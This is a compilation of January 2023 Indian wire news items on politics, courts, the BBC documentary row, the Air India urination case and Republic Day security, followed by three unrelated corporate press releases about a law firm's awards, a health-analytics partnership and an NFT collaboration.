He emphasised utilising modern technology and human intelligence to monitor suspect movements on borders and also in the hinterland to prevent anti-peace incidents.

The senior police officer also directed to intensify the operations with all might to track down the involved terrorists. He also directed stringent action against each and every individual who has provided any support to terrorists in executing the cowardly attack.

"The DGP directed to further strengthen the security grid by conducting Naka checking and joint patrolling besides ensuring area domination. He stressed following the SOPs laid down in this context. He stressed keeping strict surveillance on cross-border narco trade, saying that elements from across the borders are using it for terror financing besides targeting youth of Jammu and Kashmir. The DGP directed strict action against the element found involved in anti-peace activities and narco-trade," the statement said.

Singh stressed enhanced coordination among forces; Army, Police and CAPFs which he said has been the cause of success on the anti-terror front.

The DGP said that during the recent past, forces have had tremendous success on the anti-terror front and stressed further strengthening the synergy between the police and the security forces so as to track down the remaining terrorists.

We have to continue our commitment towards the peace mission to consolidate the growing peace in Jammu and Kashmir, he added.

He was also apprised of the progress in the Dhangri terror incident and various anti-terror measures.
Patna, Jan 24 : Amid the controversy over JD-U leader Upendra Kushwaha in his party, Leader of Opposition in Bihar Assembly Vijay Kumar Sinha on Tuesday accused Chief Minister Nitish Kumar of sacrificing any leader for his self-interest.

"Nitish Kumar has sacrificed many leaders for his self-interest and the next is Upendra Kushwaha. Nitish Kumar does not like a man who is loyal to him and has principles. Upendra Kushwaha says the truth sometimes which Nitish Kumar does not.

"There is a political uncertainty in Bihar and those who have stolen the mandate are responsible for it. They are fooling the people of Bihar. The Mahagathbandhan government has not formed under the principle or service to the people. It was formed to do corruption," Sinha said.

"There was a deal between the JD-U and the RJD. One wanted to become Prime Minister and the other the Chief Minister. Upendra Kushwaha sometimes tells the truth but he does not tell the complete truth. Nitish Kumar and Tejashwi Yadav are cheating each other. They have nothing to do with the interests of common people," he alleged, demanding that Nitish Kumar should dissolve the Assembly to respect the mandate.
New Delhi, Jan 24 : Prime Minister Narendra Modi on Tuesday extended a warm welcome to Egyptian President Abdel Fattah el-Sisi, who arrived here on a three-day state visit from January 24 to 26.

Sisi would be the chief guest at the 74th Republic Day function on Thursday.

"Warm welcome to India, President Abdel Fattah el-Sisi. Your historic visit to India as Chief Guest for our Republic Day celebrations is a matter of immense happiness for all Indians. Look forward to our discussions tomorrow. @AlsisiOfficial," Modi tweeted.

Both the leaders will hold discussions on Wednesday.
New Delhi, Jan 24 : BBC's controversial documentary on Prime Minister Narendra Modi drew flak from an unexpected quarter on Tuesday with former Defence Minister and veteran Congress leader A.K. Antony's son Anil Antony slamming the project.

Anil Antony, who heads the IT wing of Kerala Congress, tweeted: Despite large differences with BJP, I think those in India placing views of BBC, a (UK) state sponsored channel with a long history of India prejudices, and of Jack Straw, the brain behind the Iraq war, over Indian institutions is setting a dangerous precedence, will undermine our sovereignty." The two-part BBC documentary on the 2002 Gujrat riots has been criticised by the Ministry of External Affairs, which called it a propaganda piece lacking objectivity and reflecting a colonial mindset.

Last week, the Centre had directed blocking of multiple YouTube videos and Twitter posts sharing links of the documentary.

However, the Centre's move was trashed by Congress and Trinamool Congress as "imposing censorship".

Even Rahul Gandhi during his 'Bharat Jodo Yatra' in Jammu questioned the Centre's move of censoring the film.

"If you have read our scriptures, Bhagavad Gita or the Upanishads, you can observe that the truth always comes out. You can ban, you can suppress the press, you can control the institutions, you can use CBI or ED, but the truth is truth," Rahul Gandhi had said, adding that "truth shines bright and it has a nasty habit of coming out".
New Delhi, Jan 24 : Delhi Police on Tuesday filed a charge sheet, totalling 6,636 pages and citing evidence of 100 witnesses as well as forensic and electronic, in the Shraddha Walkar murder case.

Accused Aaftab Amin Poonawala is accused of killing his live-in partner Walkar and then chopping her body into several pieces and storing them in a refrigerator before disposing of them in the Chhatarpur forest near his house over a period of three months.

Joint Commissioner of Police, South, Meenu Chaudhary said that the day the incident occurred, Poonawala did not like Walkar going out to meet another friend.

Asked about the motive of the murder, the Joint CP said when Walkar came back after meeting the friend, Poonawala became violent and the incident happened.

"It was an exhaustive investigation. We had formed a Special Investigation team, headed by DCP, South, Chandan Chowdhary to crack the case and collect all relevant evidence. Several teams were working on the case," Chaudhury said.

The case had came to light after Walkar's father, Vikas Walkar, approached the Mumbai Police on October 6 after his daughter's friend came to him and said that she was not reachable for sometime.

An FIR of missing person was filed by Maharashtra Police.

While searching, the father came to know that she was residing in Delhi with her live-in partner Poonawala.

Mumbai police also came to Delhi in her search on November 9, 2022 and 24 hours later, pn November 10, another FIR was registered at Mehrauli police station after Walkar was not found in Chattarpur area.

With several questions in mind, the police investigators traced and detained Poonawala, who when put to sustained interrogation, revealed all the horrific details of the barbaric crime that he had committed six months back on May 18.

The senior official said that establishing the trail of CCTV camera footage was very important. "For this, a separate team was formed," the official said.

As per officials, the charge sheet also contains forensic reports viz. the DNA report along with digital and technical evidence to prove that Poonawala committed the horrific crime.

While narco or polygraph tests are not admissible as evidence, the police said both the tests aided them in their investigation and are, thus, part of the charge sheet.

The police recovered 23 fragments of bones and sent them for DNA matching to Central Forensic Science Laboratory and for DNA Mitochondrial profiling to Hyderabad's Centre for Fingerprinting and Diagnostics.

After the DNA match was confirmed, the police sent the bones to the AIIMS for a post-mortem.
New Delhi, Jan 24 : The Supreme Court on Tuesday said that a state legislature has no legislative competence to enact a law in respect of modern medicine or allopathic medicine, contrary to the standards that have been determined by the central law.

It emphasised that policies for enhancing access to rural healthcare must not "short-change" the citizens residing in rural areas or subject them to direct or indirect forms of unfair discrimination on the basis of their place of birth or residence.

A bench of Justices B.R. Gavai and B.V. Nagarathna said: "Any variation between the standards of qualification required for medical practitioners who render services in rural areas qua the medical practitioners rendering services in urban or metropolitan areas must prescribe to constitutional values of substantive equality and non-discrimination." It said that deciding the particular qualifications for medical practitioners practising in disparate areas and in disparate fields, providing different levels of primary, secondary or tertiary medical services, is within the mandate of expert and statutory authorities entrusted with the mandate by the Parliament.

Justice Nagarathna, who authored the judgment on behalf of the bench, said while the state has every right to devise policies for public health and medical education, with due regard to peculiar social and financial considerations, these policies ought not to cause unfair disadvantage to any class of citizens.

"The citizens residing in rural areas have an equal right to access healthcare services, by duly qualified staff. Policies for enhancing access to rural healthcare must not short-change the citizens residing in rural areas or subject them to direct or indirect forms of unfair discrimination on the basis of their place of birth or residence," said the bench, in its 139-page judgment.

The top court's judgment came on an appeal against the Gauhati High Court order, struck down the Assam Rural Health Regulatory Authority Act, 2004, on the ground that it was ultra vires the Indian Medical Council Act, 1956 as well as unconstitutional.

The top court said: "We hold that decision of the Gauhati High Court holding that the Assam Act to be null and void, is just and proper".

It added that in view of the Indian Medical Council Act, 1956 and the Rules and Regulations made thereunder, the Assam Act is declared to be null and void.

The Assam government had introduced a three-year diploma course to address the issue of the shortage of qualified medical professionals by producing a cadre of doctors allowed to practice modern medicine, to a very limited extent.

The Indian Medical Association (IMA), the main respondent in the case, had argued that the Assam Act discriminates between patients living in rural areas and those living in urban areas, implying that the persons who live in urban areas are entitled to standard treatment and those who live in rural areas are entitled to sub-standard treatment.

"There are more than 2,244 MBBS doctors working in the rural areas of Assam; even if there is a shortfall of doctors in the rural areas and the Assam Act aims to remedy the shortfall, the solution lies in increasing their coverage via permissible means and not otherwise," it had submitted.

The Assam government did not challenge the judgment passed by the high court, which struck down the Assam Act and only private individuals were appellants before the apex court. Assam enacted a subsequent legislation and has tried to accommodate the ousted diploma holders in different capacities.

Dismissing the appeals, the top court said: "The subsequent legislation, namely, the Assam Act of 2015 i.e., the Assam Community Professionals (Registration and Competency) Act, 2015, enacted pursuant to the judgment of the Gauhati High Court, is a valid piece of Legislation as it has removed the basis of the impugned judgment passed by the Gauhati High Court. The 2015 Act is also not in conflict with the IMC Act, 1956, hence, by a separate legislation the Community Health Professionals have been permitted to practise as such professionals. The said legislation of 2015 is not in conflict with IMC, Act, 1956 and the rules and regulations made thereunder."
New Delhi, Jan 24 : Air India has reviewed its existing in-flight alcohol service policy, and made some adjustments for better clarity.

The move came after the airline drew flak following the 'pee-gate' incident, wherein a flyer named Shankar Mishra reportedly urinated on an elderly female passenger in a drunk state on board a New York-New Delhi flight in Novermber last year. Mishra is presently under judicial custody.

"We have reviewed our existing in-flight alcohol service policy, taking reference from other carriers' practices and inputs from the US National Restaurants Association's (NRA) guidelines. These were largely in line with Air India's existing practice, though some adjustments have been made for better clarity. Also, NRA's Traffic Light system has been included to help the crew recognise and manage possible cases of intoxication," an Air India spokesperson said on Tuesday.

The airline said that the new liquor policy has been included in the training curriculum.

"The new policy has now been promulgated to the crew and has been included in the training curriculum. Air India remains committed to the safety and well-being of our passengers and cabin crew, including but not limited to the responsible service of alcohol," said the spokesperson.

Earlier, Air India had said that the alleged perpetrator in the November 26 peeing case had not been served excessive alcohol by the crew, adding that he did not appear intoxicated to the crew.

"In light of the mitigating circumstances and the financial detriment already incurred by the crew during their period of de-rostering, Air India deems the licence suspension of the Commander as excessive and will be assisting him with an appeal," said Air India.

On January 20, aviation regulator DGCA had imposed a fine of Rs 30 lakh on Air India and suspended the licence of the pilot-in-command of the New York-New Delhi flight. The regulator had also imposed a penalty of Rs 3 lakh on the director of in-flight services of Air India for failing to discharge her duties.

As per the regulator, the incident of passenger misbehaviour which occurred on the AI-102 flight on November 26, 2022 came to the notice of DGCA on January 4, 2023.
New Delhi, Jan 24 : Hours after BJP councillors left the MCD headquarters following the house's adjournment, Aam Aadmi Party leader Sanjay Singh on Tuesday said that the BJP has established a "dangerous precedent" leaving the house proceedings midway.

The AAP councillors, MLAs, and MPs stayed long in the house and demanded from Lt Governor V.K. Saxena that the mayoral election be held Tuesday itself.

"The whole country has today witnessed that even after having 151 councilors of AAP and only 113 councillors of BJP, they have disrupted the proceedings and adjourned the house and left the mayoral election midway. It will establish a wrong precedent for the nation," Sanjay Singh told media after AAP councillors decided to leave the house after waiting for hours.

"Total 2 crore people of Delhi uprooted the BJP under the leadership of Arvind Kejriwal. This is an insult to the mandate of those people. We are the soldiers of the party, we take a pledge that we will defeat the BJP in the same House," he said.

AAP leader Atishi said that the BJP made every effort to win the MCD polls, and even, did delimitation as per their own interests "but the people of Delhi defeated them badly".

"But, crushing the democracy, BJP did not allow Mayor's election to be held today. We have waited till 8 p.m. for the LG sir to allow the mayoral election. But that didn't happen," she said.
New Delhi, Jan 24 : The Supreme Court would pronounce its order on Wednesday on the bail plea of Ashish Mishra, key accused in the 2021 Lakhimpur Kheri violence case and son of Union Minister Ajay Kumar Mishra.

According to the cause list uploaded on the apex court website, a bench comprising Justices Surya Kant and J.K. Maheshwari will pronounce the order on January 25.

The apex court had reserved its order on Mishra's plea on January 19.

Additional Advocate General for Uttar Pradesh Garima Prashad opposed Mishra's bail plea. She had submitted that it was a grave and heinous crime and granting bail will send a wrong signal to society.

Senior advocate Dushyant Dave, appearing for those opposing the bail plea, said grant of bail will send a terrible message to society.

"It is a conspiracy and a well-planned murder. I will show it from the charge sheet. He is the son of a powerful man being represented by a powerful lawyer," he said.

Senior advocate Mukul Rohatgi, appearing for Mishra, strongly opposed Dave's submission, saying: "What is this? Who is powerful? We are appearing every day. Can this be a condition to not grant bail?" He submitted that his client has been in custody for more than a year and the way the trial is going, it will take seven to eight years to complete it.

He said that Jagjit Singh, who is the complainant in the case, is not an eyewitness and his complaint is just based on hearsay.

"Jagjit Singh is the complainant and he is not an eyewitness. I am surprised that when there are many people saying we ran over people mercilessly, an FIR is registered on the version of a person who is not an eyewitness?" Rohatgi said, adding that his client is not a criminal and there are no past records.

On October 3, 2021, eight people were killed in Lakhimpur Kheri district's Tikunia in a violence that erupted when farmers were protesting against UP Deputy Chief Minister Keshav Prasad Maurya's visit to the area.

According to the Uttar Pradesh Police FIR, four farmers were mowed down by an SUV, in which Ashish Mishra was seated.

Following the incident, a driver and two BJP workers were allegedly lynched by angry farmers. A journalist also died in the violence.

On December 6 last year, a trial court had framed charges against Mishra and 12 others for the alleged offences of murder, criminal conspiracy and others in the case of death of the protesting farmers in Lakhimpur Kheri, paving the way for the start of the trial.

A total of 13 accused, including Mishra, have been charged under IPC sections 147 and 148 related to rioting, 149 (unlawful assembly), 302 (murder), 307 (attempt to murder), 326 (voluntarily causing grievous hurt by dangerous weapons or means), 427 (mischief) and 120B (punishment for criminal conspiracy), and section 177 of the Motor Vehicle Act.

The other 12 accused are Ankit Das, Nandan Singh Bisht, Latif Kale, Satyam a.k.a Satya Prakash Tripathi, Shekhar Bharti, Sumit Jaiswal, Ashish Pandey, Lavkush Rana, Shishu Pal, Ullas Kumar Trivedi, Rinku Rana and Dharmendra Banjara.

All of them are in jail.
Jaipur, Jan 24 : Responding to the debate on the paper leak issue in the Rajasthan Assembly, Parliamentary Affairs Minister Shanti Dhariwal on Tuesday rejected the opposition's demand to initiate a CBI probe into the matter.

The Rajasthan second grade teacher recruitment exam paper was leaked in December 2022 after which the test was cancelled. More than 50 people, including candidates, have been arrested so far for their alleged involvement in the paper leak. In the past three years, as many as eight cases of paper leak have bee reported from across Rajasthan.

In the Assembly, Dhariwal said, "What will happen if this matter is handed over to the CBI? The investigation will continue for eight years and all the documents that are there will be taken by the CBI. In such a case, recruitment examinations will not be held for 15 years. The future of the students will get spoiled.

"Speedy investigation is being done in the paper leak case and a day-to-day monitoring is also being done. The culprits will be given the strictest punishment. It is our commitment that the future of the students should not be spoiled, so recruitments will be done after conducting the examination. Rajasthan Police are capable of investigating the matter and hence I reject the demand for a CBI probe." Earlier, there was a lot of uproar during the debate on the paper leak issue. Leader of Opposition Gulabchand Kataria, questioning the reply of Education Minister B.D. Kalla on the matter, announced to boycott the proceedings. On this, Dhariwal told him that he should listen to his reply first before leaving the House.

Kataria got angry at Dhariwal's intervention and there was a scuffle between Kataria and Dhariwal. The BJP MLAs also created a ruckus. Seeing the uproar, Speaker C.P. Joshi ended the debate on paper leak and adjourned the House.

The debate on paper leak began after the House reconvened. Speaker Joshi said that the adjournment motion is not passed on the day of the debate on the Governor's address, but in view of the seriousness of the matter, breaking the tradition, he approved the adjournment.

During the debate on paper leak, Kataria lashed out at the state government, saying, "At least take steps to improve the examination system by forming a committee of this House. It is a matter of shame that people were caught in the paper leak case just for formality... They got bail and are roaming free now. Those who solved questions by taking Rs 5-7 lakh got bail.

The accused persons would have been caught had there been a proper investigation, he added.

During the debate, Deputy Leader of Opposition, Rajendra Rathore, said that the government is showing favouritism in the investigation into the paper leak case.

"In the name of anti-cheating bill, action is being taken against some people while some are being released," he added.

Rathore added: "You were talking about Uttar Pradesh... National Security Act has been imposed against paper leak in UP. This time the paper was leaked from RPSC (Rajasthan Public Service Commission). Technically, only the RPSC chairman knows from where the paper was printed." Even Advisor to CM, Sanyam Lodha, questioned the method of appointing chairman in RPSC and Staff Selection Board.

Lodha said: "What kind of people do we hire in RPSC? Do we go with merit? Until we do not improve the standard of these constitutional institutions, the efforts of the youth of Rajasthan will continue to be wasted."
New Delhi, Jan 24 : Internet service and electricity connection at the office of the Jawaharlal Nehru University Students' Union (JNUSU) were snapped on Tuesday after some students wanted to screen a controversial BBC documentary on Prime Minister Narendra Modi.

The Jawaharlal Nehru University had earlier asked the students to cancel the screening of the documentary -- 'India: The Modi Question'.

The varsity, in a stern warning, told the students that disciplinary action may be initiated if anyone screens the documentary under the university rules.

A section of students under the banner of JNUSU had distributed pamphlets for the screening of the documentary at 9 p.m. on Tuesday.

The varsity administration was of the view that "such unauthorised activities on the campus may disturb peace and harmony" at the university.

However, even after the warning, when the students remained adamant, the university administration decided to disconnect electricity and internet.

The varsity had earlier stated that no prior permission was been taken from the JNU administration for the screening of the documentary.

Meanwhile, ABVP's JNU unit president Rohit Kumar said the students' body "welcomes the instructions to stop the screening of the documentary".

"The BBC has been working to tarnish the image of India by making documentaries with a fake agenda," he said.

The Central government had earlier termed the BBC documentary as propaganda against the Prime Minister and the country.
New Delhi, Jan 24 : Air India Joint Action Forum - a group of six unions, on Tuesday appealed to aviation regulator DGCA to withdraw the suspension of the pilot-in-command of an Air India flight in connection with the urination incident that occurred on November 26 last year.

In a letter to the Directorate General of Civil Aviation (DGCA), the forum said that the due process of investigation has not been followed and vital steps in the investigation and enforcement have been skipped.

The unions have appealed to the DGCA to withdraw the harsh punishment and suspension of the pilot-in-command.

The forum represents six unions -- Indian Pilots Guild, Indian Commercial Pilots Association, Air Corporation Employees Union, Air India Employees Union, All India Cabin Crew Association and Airline Pilots Association of India.

The letter written on Tuesday has also been marked to the Civil Aviation Minister, Aviation Secretary, CEO and COO of Air India.

Earlier, on Tuesday, Air India said it had closed the internal probe into the case and will also assist the flight's pilot-in-command with an appeal against the suspension of his licence.

According to the letter, the entire crew comes under the judicial and operational control of the pilot-in-command.

"It is in this light that the pilot-in-command signed all reports and then directed the cabin supervisor to forward all reports to the company and its senior officers instantly upon landing to discuss the next step with the company, which was done and verified. Given the actual facts and non-existence of any eyewitnesses, it was decided by the pilot-in-command in consultation with his crew, that the passenger in seat 8C (Shankar) Mishra was not unruly, and could not be classified as unruly," said the letter.

DGCA on January 20 imposed a fine of Rs 30 lakh on Air India and suspended the license of the pilot-in-command for three months in the incident which occurred on November 26, 2022.

Moreover, the regulator also imposed a penalty of Rs 3 lakh on the director of in-flight services of Air India for failing to discharge duties.

Earlier, on Monday, All India Cabin Crew Association said that the derostered Air India crew in connection with the Air India urination case should be rostered back on flights, terming the action against the pilot-in-command an unusually harsh punishment.

In a letter issued on Monday, the cabin crew body also termed the findings of an internal committee in the Air India urination case "flawed".
New Delhi, Jan 24 : Delhi Police have deployed over 6,000 police personnel in and around the New Delhi district amid adequate security arrangements for the safe conduct of the Republic Day parade, an official said on Tuesday.

Deputy Commissioner of Police, New Delhi, Pranav Tayal said that the police have made arrangements for around 70,000 people and the total deployment will be more than 6,000 police personnel.

Both static and mobile Quick Response Teams will remain alert to handle any untoward situation, he said, "We have intensified the anti-terror measures in coordination with other agencies. Teams of National Security Guard will also be deployed," the DCP said.

The city is already under a heavy security cover after intelligence agencies received inputs of a possible terror attack in the run-up to the Republic Day. Vehicles are being thoroughly checked at all the entry and exit points of Delhi.

"Delhi has always remained a target for anti-social elements. Threat perception is very high during such occasions. There are threat inputs and we have strengthened our security apparatus," the DCP said.

The police have also installed 150 new CCTV cameras with some even having a feature of face recognition to keep an eye over the movement of every unsocial element.

This time the police have also introduced a new security feature in the entry pass of the Republic Day parade. "Every pass or ticket has a QR code. The entry will only be given when that code is scanned and the person carrying it is identified and verified," the DCP said.

He said that no person without a pass or a ticket will be allowed to gain entry at the Kartavya Path.

The Delhi Police on Monday banned the flying of sub-conventional aerial vehicles over the national capital for security and safety reasons.

Delhi Police Commissioner Sanjay Arora issued the order, prohibiting the flying of aerial vehicles such as para-gliders, para-motors, hang-gliders, UAVs, UASs, microlight aircraft, remotely-piloted aircraft, hot air balloons, small-sized powered aircraft, quadcopters or even by para-jumping from aircraft till February 15.
Panaji, Jan 24 : About a hundred activists from across Goa on Tuesday held a meeting over the issue of coal transportation and Mhadei river water diversion, and resolved to mobilise people to oppose these.

Talking to IANS, noted environmentalist Abhijit Prabhudesai said that this is not a Karnataka vs Goa fight, but between the coal corporation and ordinary people.

"Mhadei water is being diverted for steel and power plants in Karnataka, which are proposed by the coal corporation. We have all evidence that this water is only for them and not for the farmers or drinking purpose. Both the plants are huge consumers of water," Prabhudesai said.

Sources said that all the members took part in the discussion and suggested various plans to intensify this movement.

"We have decided to give a call to all the panchayats on January 26 to oppose coal transportation and diversion of water," he said.

Prabhudesai said that on January 26, there will be a meeting in South Goa over the Mhadei water diversion issue where many more will join the cause.

"Presently, we have not decided any name to fight this battle. But we all are together and fighting to protect Goa and its environment," he said.

Prabhudesai said that they will spread awareness about coal corporation's intension and why water is being diverted.

Many people from South Goa villages, from where the double-tracking is proposed, are agitating against coal transportation. The Mhadei water diversion issue has also forced people to hit the streets in protest.

Goa and Karnataka are currently battling out a dispute over the Kalasa-Bhanduri dam project across the Mhadei river at a central tribunal.

Mhadei originates in Karnataka and meets the Arabian Sea in Panaji.

While the river traverses 28.8 km in Karnataka, it is 81.2 km in length in Goa. Karnataka plans to construct dams on the river, aimed at diverting the water into its water-starved Malaprabha basin in North Karnataka.
New Delhi, Jan 25 : A high drama prevailed at the Jawaharlal Nehru University (JNU) campus on Monday late evening after the students alleged that they were attacked with stones while watching a controversial BBC documentary on Prime Minister Narendra Modi.

However, Deputy Commissioner Police (southwest), Manoj C. denied reports of stone pelting.

When asked about the incident, the DCP said "I repeat again no such incident reported to us so far." "If we receive a complaint from any section of JNU, necessary legal action as deemed appropriate will be taken," said the DCP.

Meanwhile, internet service and electricity connection at the office of the JNU Students' Union (JNUSU) were snapped on Tuesday after some students wanted to screen the BBC documentary on Prime Minister Narendra Modi.

The JNU administration had earlier asked the students to cancel the screening of the documentary -- 'India: The Modi Question'.

The varsity administration, in a stern warning, told the students that disciplinary action may be initiated as per the university rules if anyone screens the documentary.

A section of students under the banner of JNUSU had distributed pamphlets for the screening of the documentary at 9 p.m. on Tuesday.

The JNU administration was of the view that "such unauthorised activities on the campus may disturb peace and harmony" at the university. However, even after the warning, when the students remained adamant, the university administration decided to disconnect electricity and internet.

The varsity had earlier stated that no prior permission was sought from the JNU administration for the screening of the documentary.

Meanwhile, ABVP's JNU unit president Rohit Kumar said the students' body "welcomes the instructions to stop the screening of the documentary".

"The BBC has been working to tarnish the image of India by making documentaries with a fake agenda," he said.

The Central government had earlier termed the BBC documentary as propaganda against the Prime Minister and the country.
New Delhi, Jan 25 : Chief Justice of India (CJI) D.Y. Chandrachud on Tuesday inaugurated the software for e-inspection of digitised judicial files at Delhi High Court, making it the first High Court in the country to bring such a method of inspection of files.

Delhi High Court Chief Justice Satish Chandra Sharma and other judges were also present during the inauguration.

Where advocates and litigants earlier had to visit the High Court to inspect their case files, they will now be able to inspect the online files digitally with the ease of the 'Online e-Inspection Software'. It will eventually reduce the paper works.

In his address, CJI Chandrachud said that the Delhi High Court has been at the forefront of e-filing, digitisation, on virtual courts and now, the e-inspection will complete the circle.

He said that the facilities Delhi High Court provide to judges, lawyers and litigants are way ahead of what the Supreme Court do and "we also follow the High Court in multiple ways".

The CJI added that he was in constant touch with Delhi High Court judge and Chairman of its Information Technology Committee Justice Rajiv Shakdher when the High Court introduced neutral citations.

A neutral citation is a form of citation where courts assign a unique sequential number to each of their decisions. The objective is to enable people to identify cases and text in them by reference to a single, unvarying reference, no matter the medium of publication.

"To Shakdher, I said, why should we not expand this to the rest of the country? Why should we only be confined to only Delhi High Court? So now Kerala High Court has done it, and various other High Courts have done it. Now, Supreme Court is on the anvil of having neutral citations," the CJI said.

He also spoke about the other initiatives adopted by him since November 9, 2022, including the new justice mobile app.

Furthermore, comparing the statistics on virtual court (VC) hearings held by all the courts in the country during and post-Covid-19, Justice Shakdher said: "Even though we have just 11 districts, we did more VCs than other courts, which are the presidency courts, which have three times the districts." He said that the new step will help the judges, lawyers and litigants to be on the same page while dealing with a matter. "We will know what is going on in the case at that moment and not like I am on page 100 and other person is on page 50." E-inspection will also allow the person to store the file in PDF format once the court approves the application for viewing.

"You have to give the court minimum time to look at your application, approve it and it will be available for you," he said.

Moreover, he said that the live streaming option is also in the pipeline of digitisation in the High Court.

"The IT committee in the Delhi High Court took a conscious decision that we are not going to live stream till we have the requisite wherewithal ready for us for viable live streaming. Because a lot of my colleagues have shared these concerns," he said, adding that "you have live streaming and then it's on a platform which is not controlled by us, which is on YouTube, and then clips are made, and there are all kinds of comments judges have to face. So we are moving in that direction as well."
Sixteen Salvi, Schostok & Pritchard P.C. attorneys have been honored by Illinois Super Lawyers as 2023 Super Lawyers and Rising Stars. Each year, no more than five percent of Illinois lawyers are named to the Super Lawyers list. The Rising Stars list, a distinction for attorneys who are 40 or younger or who have been in practice for 10 years or less, includes no more than 2.5% of lawyers in the state.

Super Lawyers, part of Thomson Reuters, is a rating service of outstanding lawyers from more than 70 practice areas who have attained a high degree of peer recognition and professional achievement. The annual selections are made using a patented multiphase process that includes a statewide survey of lawyers, an independent research evaluation of candidates, and peer reviews by practice area. The result is a credible, comprehensive, and diverse listing of exceptional attorneys.

The Super Lawyers and Rising Stars lists are published nationwide in Super Lawyers Magazines and in leading city and regional magazines and newspapers across the country.

The Salvi, Schostok & Pritchard attorneys who were named to the 2023 Illinois Super Lawyers list include:



Patrick A. Salvi

Patrick A. Salvi II

Tara R. Devine

Matthew L. Williams

Jennifer A. Ashley

Thomas R. Mulroy III

Aaron D. Boeder

Lance D. Northcutt

Heidi L. Wickstrom

Attorneys named to the 2023 Illinois Super Lawyers  Rising Stars list include:



Brian L. Salvi

Eirene N. Salvi

John A. Mennie

Rob L. Kohen

Jennifer M. Cascio

Michael J. Schostok

Jaclyn J. Kurth

The Salvi, Schostok & Pritchard honorees are not only dedicated to their clients, but published authors, accomplished speakers, experienced trial attorneys, members of several professional bar associations and highly involved in their community.

Additionally, firm founder Patrick A. Salvi was listed among the Top 10 Illinois Super Lawyers for the tenth consecutive year; Partners Matthew L. Williams and Patrick A. Salvi II were listed in the 2023 Top 100, and Partner Jennifer L. Ashley was listed among the Top 100 and the Top 50 female attorneys for 2023. Patrick A. Salvi has been named to the Illinois Super Lawyers list since its inception in 2005.

For more information, please contact Marcie Mangan at (312) 372-1227 or mmangan@salvilaw.com.
Spatiallys analytics allows us to understand the underlying social determinant issues impacting our patients that we can now proactively address as part of our engagement, providing better outcomes and lower costs.-Marsha Boggess, CEO of ACO Health Partners

Spatially Health a cloud-based, technology company focused on pioneering new methods in geospatial analytics and location intelligence to better understand and improve social determinants of health (SDOH), has announced an exciting partnership with ACO Health Partners, LLC, a Jacksonville FL based Shared Savings ACO. The partnership will leverage Spatially Healths Equity EqualizerTM platform, which identifies health equity barriers at the patient level and provides targeted intervention recommendations that enhance patient engagement and improve medical management programs.

Spatially Healths tech platform will integrate with ACO Health Partners current workflow to identify SDoH barriers facing each ACO Health Partners patient. The proprietary geospatial and analytics models in Spatially Healths Equity EqualizerTM platform holistically analyze the SDoH of individual patients and then recommend targeted interventions to address the SDoH barriers for each patient. Further, Spatially Healths Equity EqualizerTM platform is dynamic, adjusting with each set of added patient data, so that it evolves with ACO Health Partners throughout the upcoming weeks, months, and years, giving accurate and sustainable recommendations to improve patient health outcomes. Additionally, the platform also ranks patients by vulnerability, so that the most vulnerable populations needs can be addressed first.

ACO Health Partners has been a pioneer in maximizing patient engagement as its key to success. Spatiallys analytics allows us to understand some of the underlying social determinant issues impacting our patients that we can now proactively address as part of our engagement. With engagement comes better outcomes and lower costs. In addition, Spatially has allowed us to develop a health equity plan that is actionable said Marsha Boggess, CEO of ACO Health Partners.

This partnership underscores Spatially Healths focus on advancing Health Equity through strategic alliances with risk-based organizations focused on improving the quality of health outcomes for vulnerable populations. We are excited to partner with ACO Health Partners and provide data-driven solutions to target interventions so resources will be effective, efficient, and have a measurable impact, said Hillit Meidar-Alfi, co-founder, and CEO at Spatially Health. This partnership demonstrates the power of our platforms in helping progressive risk-bearing organizations to increase health equity and improve performance measures, medical management practice, and health outcomes.

The Equity EqualizerTM platform has many additional capabilities including measuring cost in relation to health barriers, meeting CMS compliance requirements, and enhanced tools for mitigating risk and improving quality in relation to SDOH health barriers. We plan to work closely with ACO Health Partners to roll out these capabilities over time.

For high-resolution images, click here.

About ACO Health Partners, LLC

ACO Health Partners is a Jacksonville Florida-based accountable care organization, (ACO) with participating providers in Florida, Georgia, North Carolina, and New Jersey. ACO Health Partners is one of the oldest ACOs in the country, founded in 2012. Since that time ACO Health Partners, while consistently demonstrating quality, has saved the Medicare program nearly $11 million dollars, by working with more than 478 providers, and impacting over 53, 275 Medicare beneficiaries. ACO Health Partners is managed by Cura Management Group, a value services organization providing leadership and infrastructure that facilitates success in Medicare's Shared Savings Program (MSSP). For more information on ACO Health Partners, visit https://www.acohealthpartners.com or connect with ACO Health Partners on LinkedIn.

About Spatially Health

Founded in 2019, Spatially Health provides intelligent decision support and guidance platforms for risk-based organizations that are focused on improving the quality of health outcomes for vulnerable populations. Spatially Health is a female-founded and female-lead team, founded by Hillit Meidar-Alfi, Ph.D., and Adi Segal. Spatially Health is headquartered in Miami, Florida.

The companys Equity Equalizer PlatformTM helps risk-based entities lower compliance and financial risks while improving the quality of health outcomes for vulnerable populations. Spatially Health is an SDOH expert whose platform ties SDOH factors to health outcomes and costs. The platforms proprietary models leverage location intelligence and spatial analytics that go beyond ZIP codes and provide granular patient insights at the hyper-local level. Spatially helps identify and quantify SDOH health barriers at the individual level, guiding decision makers on where and how to allocate resources to maximize positive impact and promote equity.

For more information on Spatially Health, visit http://www.SpatiallyHealth.com or connect with Spatially Health on LinkedIn, Twitter,Instagram, and YouTube.
Artist Melek Anqi with Hiromita Artworks "CoolWallet x HIROMITA is a unique and exciting collaboration that brings together the worlds of art, culture, finance, and technology."

This NFT brand collaboration brings together culture, art, finance, and technology in a new interpretation of using NFTs to tell compelling brand stories and create customer engagement. The collection features Melek Anqi's beloved HIROMITA character, which is inspired by the Taiwanese Turkish artist's childhood experiences in Taiwan as well as the myth of the Asian tile cats on rooftops that protect a household. This whimsical and playful cat eats our inner void and gives back love and wealth.

There are a total of 10 unique HIROMITA NFT artworks available in the "CoolWallet x HIROMITA" NFT collection that CoolWallet users can win, trade, or gift. Each HIROMITA NFT portrays a different theme reflected by its title, such as Wholehearted, Passion, Clarity, Joy, etc. In addition to being a reminder of that particular theme in their lives, a HIROMITA NFT will unlock exclusive benefits for CoolWallet users.

On working with Melek Anqi, a CoolWallet spokesperson said, "Melek Anqis art is bright and colorful, much like her personality, which enabled us to brainstorm very creative collaborations together. Its always great to work alongside artists and learn about their creative process from a close interaction.

Excitingly, CoolWallet will be giving away some HIROMITAs as part of a Lunar New Year social media campaign they are running, What will HIROMITA ignite in you?  we recommend heading over to their Twitter to get involved.

Helping Brands Build Communities with Digital Products

